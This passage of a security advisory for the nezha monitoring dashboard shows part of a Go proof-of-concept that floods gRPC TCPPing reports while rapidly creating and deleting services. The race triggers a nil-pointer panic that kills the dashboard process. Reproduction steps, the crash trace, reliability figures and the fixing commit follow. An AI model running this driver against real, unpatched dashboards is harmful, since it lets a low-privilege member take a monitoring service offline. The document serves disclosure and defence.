Details
defer mu.Unlock()
out := make([]uint64, 0, len(active))
for id := range active {
out = append(out, id)
}
return out
}
var sent, dels int64
stop := time.After(*dur)
var wg sync.WaitGroup
// churn workers: create -> arm -> delete
for i := 0; i < *churn; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for {
select {
case <-stop:
return
default:
}
id, ok := createSvc()
if !ok {
time.Sleep(time.Millisecond)
continue
}
addID(id)
// let the flood push a few reports for this id into the worker's gap
time.Sleep(time.Duration(1+rand.Intn(3)) * time.Millisecond)
deleteSvc(id)
delID(id)
atomic.AddInt64(&dels, 1)
}
}()
}
// single flood goroutine (grpc stream Send is not concurrency-safe)
wg.Add(1)
go func() {
defer wg.Done()
for {
select {
case <-stop:
return
default:
}
ids := snapshot()
for _, id := range ids {
if err := stream.Send(&pb.TaskResult{
Id: id,
Type: 3, // TCPPing
Delay: float32(1 + rand.Intn(50)),
Successful: true,
}); err != nil {
fmt.Printf("STREAM_SEND_ERR=%v (dashboard likely crashed)\n", err)
return
}
atomic.AddInt64(&sent, 1)
}
}
}()
// liveness probe: if the dashboard process dies, the API stops answering
go func() {
for {
select {
case <-stop:
return
case <-time.After(500 * time.Millisecond):
_, code := req("GET", "/api/v1/user", nil)
if code == 0 {
fmt.Printf("LIVENESS_FAIL at sent=%d dels=%d, dashboard not answering\n", atomic.LoadInt64(&sent), atomic.LoadInt64(&dels))
os.Exit(7)
}
}
}
}()
wg.Wait()
fmt.Printf("DONE without crash: sent=%d deletes=%d\n", atomic.LoadInt64(&sent), atomic.LoadInt64(&dels))
}
The gRPC leg registers a server under the member's own agent secret via `ReportSystemInfo2`, opens `RequestTask`, then floods `TaskResult{Type: 3 (TCPPing)}` for every alive service id from a single goroutine (`stream.Send` is not concurrency-safe). The REST leg's churn workers loop `createSvc` → sleep 1–3 ms to let the flood push repeated reports into the worker's gap → `deleteSvc`, which fires `ServiceSentinel.Delete` and removes the map entry the worker is about to dereference. The liveness probe hits `GET /api/v1/user` every 500 ms and exits 7 on connection refused, which is the crash signal.
### Steps to reproduce
1. In a checkout of nezha at `fd31e5f1`, drop the file at `cmd/pocdos/main.go` and build: `go build -o pocdos ./cmd/pocdos`.
2. Start the dashboard (SQLite, `avg_ping_count: 2`, TSDB off) and complete first-run. Create a `RoleMember`, register a server under its agent secret, and log the member in to obtain its JWT and CSRF.
3. Run with the member's own credentials: `./pocdos -secret "$M1_AGENT_SECRET" -token "$M1_JWT" -csrf "$M1_CSRF" -dur 30s -churn 4`.
### Results
On an unpatched build the driver prints `STREAM_SEND_ERR=EOF` + `LIVENESS_FAIL` + exit 7 within about half a second, and the dashboard's stderr shows the panic:
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x10 pc=0x12966c8]
github.com/nezhahq/nezha/service/singleton.(*ServiceSentinel).worker(...)
.../service/singleton/servicesentinel.go:601
created by ...NewServiceSentinel in goroutine 1
.../service/singleton/servicesentinel.go:127
Process death confirmed right after: `ps -p <pid>` shows the pid gone, `curl http://127.0.0.1:8008/api/v1/` returns `http_code=000`, `ss -ltn | grep 8008` shows no listener.
Under `go build -race` the same run reports zero `WARNING: DATA RACE` and still crashes with the identical nil-deref, which confirms this is a logical cross-lock TOCTOU rather than a memory race. Under a normal build, reproducibility with a fresh database per trial, a 30-second cap, and four churn workers was 5 of 5, mean time-to-crash 0.5s. Each individual window is small, but the driver retries it tens of thousands of times a second and wins by volume, so it is fast and reliable, not a lucky single shot. `-churn 4` was already 5/5; the `16` default is heavier than needed.
## Fix
Fixed in commit `c893aa57867d8a3d608e2f2f16d1594c9766cdf3`, released as `v2.2.11` and `v2.3.0`. The worker now acquires `serviceResponseDataStoreLock` before any report side effect, re-reads the current service and status entries, and re-runs `canReportServiceResult` while the lifecycle lock is held. `Delete` and `Update` therefore serialize with report processing, so reports for deleted services or reports invalidated by an update are discarded before history, status, notification, or TLS side effects.
The fix also clears ping and TLS caches during deletion and makes `LoadStats` follow the lifecycle lock order, preventing stale cache state and an ABBA deadlock window. Deterministic lifecycle tests cover deletion, update revalidation, lock order, and TLS side effects. The full unit suite, race-and-shuffle suite, `go vet`, CodeQL, and release builds passed before publication.